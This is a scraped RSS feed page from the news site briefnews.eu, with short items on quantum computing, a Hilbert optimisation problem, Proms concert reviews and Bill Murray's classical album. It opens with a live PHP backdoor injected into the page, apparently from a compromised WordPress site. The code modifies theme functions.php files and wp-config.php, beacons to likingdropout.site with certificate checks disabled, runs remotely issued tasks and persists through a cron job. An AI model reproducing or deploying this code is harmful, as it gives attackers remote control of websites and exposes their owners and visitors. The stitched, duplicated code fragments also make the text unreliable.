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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Classical – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 27 May 2018 04:10:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Classical – Brief News https://briefnews.eu 32 32 A Classical Math Problem Gets Pulled Into Self-Driving Cars https://briefnews.eu/a-classical-math-problem-gets-pulled-into-self-driving-cars/ https://briefnews.eu/a-classical-math-problem-gets-pulled-into-self-driving-cars/#respond Sun, 27 May 2018 04:10:47 +0000 http://briefnews.eu/a-classical-math-problem-gets-pulled-into-self-driving-cars/ A century ago, the great mathematician David Hilbert posed a probing question in pure mathematics. A recent advance in optimization theory is bringing Hilbert’s work into the modern world.


https://media.wired.com/photos/5b0888377f6dac54146e062f/master/pass/UAV_02_32_2880.jpg

]]> https://briefnews.eu/a-classical-math-problem-gets-pulled-into-self-driving-cars/feed/ 0 Random quantum circuit easiest way to beat classical computer https://briefnews.eu/random-quantum-circuit-easiest-way-to-beat-classical-computer/ https://briefnews.eu/random-quantum-circuit-easiest-way-to-beat-classical-computer/#respond Wed, 02 May 2018 03:36:09 +0000 http://briefnews.eu/random-quantum-circuit-easiest-way-to-beat-classical-computer/

Enlarge / The evolution of a chaotic quantum system. (credit: Joint Quantum Institute)

One of the near-term (but somewhat irrelevant) goals of quantum computing is something called quantum supremacy. Quantum supremacy is not, sadly, a cage fight between proponents of competing interpretations of quantum mechanics. It is a demonstration of a quantum computer performing a computation, no matter how trivial, that cannot be performed on a classical computer.

The key question: what computation should be performed? A team of researchers is suggesting that computing the state of a random quantum circuit that exhibits chaotic behavior would be perfect for the task. Let’s delve into why that might be.

Getting all superior

The idea of quantum supremacy goes a bit like this. Yes, we have all of these different versions of quantum computing. And yes, they all seem to behave how we expect a quantum computer to behave. But they are all remarkably slow and can easily be beaten by classical computers.

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]]> https://briefnews.eu/random-quantum-circuit-easiest-way-to-beat-classical-computer/feed/ 0 The Ongoing Battle Between Quantum and Classical Computers https://briefnews.eu/the-ongoing-battle-between-quantum-and-classical-computers/ https://briefnews.eu/the-ongoing-battle-between-quantum-and-classical-computers/#respond Mon, 19 Feb 2018 14:00:53 +0000 http://briefnews.eu/the-ongoing-battle-between-quantum-and-classical-computers/ The quest for “quantum supremacy”—unambiguous proof that a quantum computer does something faster than an ordinary computer—has paradoxically led to a boom in quasi-quantum classical algorithms.


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]]> https://briefnews.eu/the-ongoing-battle-between-quantum-and-classical-computers/feed/ 0 Classical review: BBC Prom 61 in Royal Albert Hall https://briefnews.eu/classical-review-bbc-prom-61-in-royal-albert-hall/ https://briefnews.eu/classical-review-bbc-prom-61-in-royal-albert-hall/#respond Fri, 01 Sep 2017 23:38:20 +0000 http://briefnews.eu/classical-review-bbc-prom-61-in-royal-albert-hall/

PROM 61 Royal Stockholm Philharmonic Orchestra, conductor Sakari Oramo, soprano Renee Fleming  Royal Albert Hall, London SW7 

AS leader of the pack of Renee Fleming fanatics, I can happily claim her singing at Prom 61 last week was the highlight of this year’s Proms.

Dressed in a pale mushroom coloured crinoline, her extraordinary voice was not supplied by any discernible amplification. She sang Samuel Barber’s Knoxville, Summer of 1915 and Strauss’s Daphne – Transformation Scene, but I had forgotten the power and purity that filled the Hall’s colossal space.

Her pitch is so easily perfect, her high notes, and I mean high, are so clear and clean they seem to come from another world. The Fleming voice gives a brand new meaning to the word ‘music’. 

Swedish born Andrea Tarrodi’s Liguria received a warm reception for its UK premiere. A descriptive piece, it sounds an honest effort to give the audience something to enjoy – a welcome sentiment in today’s frenzy to show off. 

Carl Nielson’s Second Symphony was a triumph and a neat piece of programming it was, too. An appropriately bouncy opening whisked us back to reality after the other worldly Renee Fleming and the Royal Stockholm was superb as they made the most of Neilson’s meaty orchestrations.

An occasional hint of eternity never did anyone any harm and this is what classical music is all about, heartrending pleasure. 

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]]> https://briefnews.eu/classical-review-bbc-prom-61-in-royal-albert-hall/feed/ 0 Of Course Bill Murray is Touring and Releasing a Program of Classical Music https://briefnews.eu/of-course-bill-murray-is-touring-and-releasing-a-program-of-classical-music/ https://briefnews.eu/of-course-bill-murray-is-touring-and-releasing-a-program-of-classical-music/#respond Fri, 21 Apr 2017 16:36:41 +0000 http://briefnews.eu/of-course-bill-murray-is-touring-and-releasing-a-program-of-classical-music/ File this one under “why the hell not”: Bill Murray, esteemed actor, comedian, and party-crasher, is releasing an album of classic music. According to the New York Times, Murray is currently rehearsing “a program of songs and literary readings” called New Worlds, set to chamber music led by the German-born, New York-based cellist Jan Vogler.

The project originated in 2013, when Murray and Vogler were seated across from each other on a flight from Berlin to New York. The two hit it off, and Murray invited Vogler to join him when he hosted Poets House’s annual poetry walk in 2015, leading a group of poets and poetry fans (and some curious/baffled Bill Murray fans) across the Brooklyn Bridge. Not long after that, the Times reports, the two began discussing plans for a joint musical project, which they’ve dubbed Bill Murray, Jan Vogler & Friends.

As the Times‘s Ben Sisario describes it, the recording session in a Manhattan studio was like something out of a movie. Murray, a bandana on his head, crooned Gershwin songs and selections from West Side Story, as well as reading passages from Whitman and Hemingway while the trio — Vogler, his wife, Mira Wang, on violin, and Vanessa Perez on piano — accompanied him. At one point while Murray was in the middle of a Van Morrison tune, Sofia Coppola (who directed him in 2003’s Lost in Translation, as well as his 2015 Netflix Christmas special, A Very Murray Christmas), wandered in, hugged Murray, and shot video of the session on her phone.

Murray and Vogler’s trio plan to tour their program throughout the summer and fall, beginning with its U.S. premiere at California’s Festival Napa Valley on July 20. A North American tour will follow, including an appearance at Carnegie Hall on Oct. 16. The recording will be released in August.

It’s not the first time a comedian has crossed over into the world of music: In January 2016, H. Jon Benjamin (best known for voicing the title character on the animated spy series Archer) recorded and released a jazz album called, Well I ShouldHave…, and subtitled, Learned to Play Piano. Like Murray, Benjamin was accompanied by real, professional musicians, although the title is quite literal: Benjamin really can’t play the piano, which makes the fact that he recorded an entire album’s worth of songs so ridiculously funny. (It was released on Sub Pop.)

Murray’s endeavor appears to be more sincere in intent and execution, although the beauty of Murray’s persona is his ability to confuse the categories of sincerity and authenticity altogether. I can’t imagine listening to New Worlds without laughing, but I’m not sure that’s what Murray would want. Then again, I’m not about to decode the inner-workings of that guy’s brain.

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]]> https://briefnews.eu/of-course-bill-murray-is-touring-and-releasing-a-program-of-classical-music/feed/ 0 Classical review: Symphonic Sounscapes by the Royal Philharmonic Orchestra https://briefnews.eu/classical-review-symphonic-sounscapes-by-the-royal-philharmonic-orchestra/ https://briefnews.eu/classical-review-symphonic-sounscapes-by-the-royal-philharmonic-orchestra/#respond Sun, 29 Jan 2017 13:05:15 +0000 http://briefnews.eu/classical-review-symphonic-sounscapes-by-the-royal-philharmonic-orchestra/

THE Royal Phil is currently showing off its New Year wares in its Sloane Square home with a diet of “richly satisfying sandwiches”, as conductor Shelley put it, chatting away to us from his podium.
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